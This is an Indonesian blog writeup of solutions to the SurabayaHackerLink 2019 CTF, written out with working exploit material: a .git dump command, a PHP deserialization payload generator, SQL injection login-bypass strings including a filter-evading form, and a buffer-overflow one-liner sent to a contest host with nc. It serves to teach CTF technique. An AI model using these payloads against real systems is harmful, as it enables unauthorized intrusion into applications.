CTF SurabayaHackerlink offline 2019

Ini sedikit writeup dari tim kami "CTF - EAT - SLEEP - REPEAT" di karena kan saya gak sempet backup sebagian soal yang web jadi gak bisa ngasih screenshot-an. Writeup ini di buat berdasarkan pembahasan di akhir acara dan deploy soal di laptop saya.

Web 1

di berikan sebuah link http://110.93.14.30:1234/ menuju halaman web yang bertuliskan "web sudah di retas". Saya coba lihat source halaman webnya dan menemukan clue ada .git disitu. Saya cek melalui browser
 
http://110.93.14.30:1234/.git/ 
 
ternyata benar ada git disitu. saya dump menggunakan tool GitTool dumper seperti ini :

bash gitdumper.sh http://localhost/.git/ output/



setelah itu kita coba cek hasil dump menggunakan git log -p dan di dapatkan flagnya :



flag : CTFSHL2019{1ts_h0w_g33t_w0rk5}"



Web 2

di berikan sebuah link yang menuju halaman web dan disitu terdapat source kode php seperti berikut :



menurut pembahasannya bug nya ada pada function serealize dan menyerang function dengan menggunakan function. Seperti ini kira kira script pembuatan payload nya :

<?php
class SurabayaHackerLink{
    public $status = "SHL";
    public $function = "scandir";
    public $argument = ".";
}
$class= new SurabayaHackerLink();
$exploit = serialize($class);
echo rawurlencode($exploit);

hasil nya :

O%3A18%3A%22SurabayaHackerLink%22%3A3%3A%7Bs%3A6%3A%22status%22%3Bs%3A3%3A%22SHL%22%3Bs%3A8%3A%22function%22%3Bs%3A7%3A%22scandir%22%3Bs%3A8%3A%22argument%22%3Bs%3A1%3A%22.%22%3B%7D

setelah di dapatkan payloadnya kita submit ke webnya di http://iptarget:6969/?ctf=payload


flag : ????



Web 3

Di berikan link menuju sebuah halaman login yang ternyata vulnerable terhadap sql injection, saya masukkan 
 
username : 'or '1'='1'-- 
password : 'or '1'='1'--
 
Tinggal di submit dan di dapatkan flagnya

flag : CTFSHL2019{SQlinj3t}



Web 4

Di berikan link dan masih sama kayak soal sebelumnya yaitu login sql injection tetapi saya coba cara sebelumnya tidak berhasil. ternyata ada sebuah filter yang dimana kata or true = itu di hilangkan. setelah beberapa kali mencoba saya menggunakan payload berikut :

username : 'Or TrUe--'
password : 'Or TrUe--'

Tinggal di submit dan di dapatkan flagnya

flag : CTFSHL2019{w1th0uts4m4d3ngan}



Crypto

Di berikan sebuah link tcp dan kita coba jalankan menggunakan NC muncul sebuah inputan seperti tool enkripsi ketika kita memasukkan kata 'FLAG' muncul sebuah flag tetapi sudah di enkripsi seperti berikut :

{"key":"GdqOBXzhVSQARNTAqWonozHYoGorFA","encrypted_text_in_base64":"iri3ooqkrJiHjMyUgruHkd2L6MWg7pCcwaDf5rW+"}

kira kira begini alur enkripsi nya, misal plaintext "B" dengan key "A"

huruf A di rubah ke desimal = 65
huruf B di rubah ke desimal = 66

setelah itu plainteks di kurangin dengan key
 
66 - 65 = 1

hasilnya di rubah ke dalam bentuk ascii lagi terus di encode base64

seperti ini script dalam python :

import base64
key = "GdqOBXzhVSQARNTAqWonozHYoGorFA"
encrypt = base64.b64decode("iri3ooqkrJiHjMyUgruHkd2L6MWg7pCcwaDf5rW+")

flag=[]

for k, e in zip(list(key), list(encrypt)):
   hasil = ord(e) - ord(k)
   flag.append(chr(hasil))

print "".join(flag)

setelah itu tinggal jalankan dan didapatkan flagnya 

flag : CTFSHL2019{S0m3Pl4yW1tHCRYpto}



Reversing

saya gak paham kalau yang ini , maaf cuman bisa ngasih source nya




PWN 1

di berikan file binary elf :
 
 
ini soal mirip banget sama yang di compfest namanya kalau gak salah buf2. Jadi kita melakukkan bufferoverflow + lompat ke alamat function print_flag. Pertama saya melihat source kode menggunakan tool IDA PRO seperti berikut :

main source :



function print_flag source :



setelah itu saya melihat alamat memory function print_flag menggunakan gdb-peda dan didapatkan 0x0804855b



kita rubah ke dalam bentuk little endian 

\x5b\x85\x04\x08

setelah itu saya menggunakan bash untuk membuat auto buffer overflow nya

for a in {1..500};do python -c "print 'A'*$a + '\x5b\x85\x04\x08'" | ./welcome;done

setelah sudah di ketahui berapa jumlah bit nya tinggal got flag

python -c "print 'A'*260 + '\x5b\x85\x04\x08'" | nc 110.93.14.30 7651
lebih jelaskan bisa lihat di link yutub berikut : https://www.youtube.com/watch?v=3doX4KpHz9o

flag : CTFSHL2019{B4S1C_PWN}



PWN 2

Di berikan file binary elf berikut :


saya gak paham yang ini menurut pembahasan sih. kita memasukkan shell_code ke alamat EIP. 
 

mungkin ada yang paham bisa tulis di komentar.





Sekian writeup seadanya yang bisa saya buat mohon maaf banyak kekurangan semoga bermanfaat.

sumber :
  • CTF - EAT - SLEEP - REPEAT
  • SurabayaHackerLink

1 Komentar untuk "CTF SurabayaHackerlink offline 2019"

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel